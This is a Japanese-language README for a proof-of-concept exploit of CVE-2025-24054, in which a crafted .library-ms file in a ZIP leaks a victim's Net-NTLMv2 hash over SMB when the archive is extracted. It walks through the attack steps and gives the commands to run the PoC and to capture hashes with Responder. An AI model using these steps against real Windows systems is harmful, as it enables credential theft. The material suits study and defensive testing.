CVE-2025-24054 PoC

CVE-2025-24054 – Windows ライブラリ（.library-ms）NTLM ハッシュ漏えいの脆弱性に関するシンプルな概念実証（PoC）です。

⚠️ 教育目的および許可されたラボ環境でのみ使用してください

---

説明

CVE-2025-24054 は、特別に細工された .library-ms ファイルを使用することで、攻撃者に Windows システム上の被害者の Net-NTLMv2 ハッシュ を漏えいさせることができる脆弱性です。

被害者が悪意のある .library-ms ファイルを含む ZIP を展開すると、Windows Explorer が自動的に SMB 接続を開始し、NTLM ハッシュを漏えいさせます。

仕組み

1. 攻撃者は、自身のマシンを指す UNC パスを含む悪意のある .library-ms ファイルを生成します。
2. このファイルは ZIP アーカイブ内に含めて配布されます。
3. 被害者が ZIP ファイルを展開します。
4. Windows Explorer が自動的にライブラリの読み込みを試み、NTLM 認証要求が発生します。
5. 攻撃者は Responder を使用して Net-NTLMv2 ハッシュをキャプチャします。

1. 使用方法

python poc.py -i YOUR-IP

2. Responder の起動（攻撃者マシン）

sudo responder -I eth0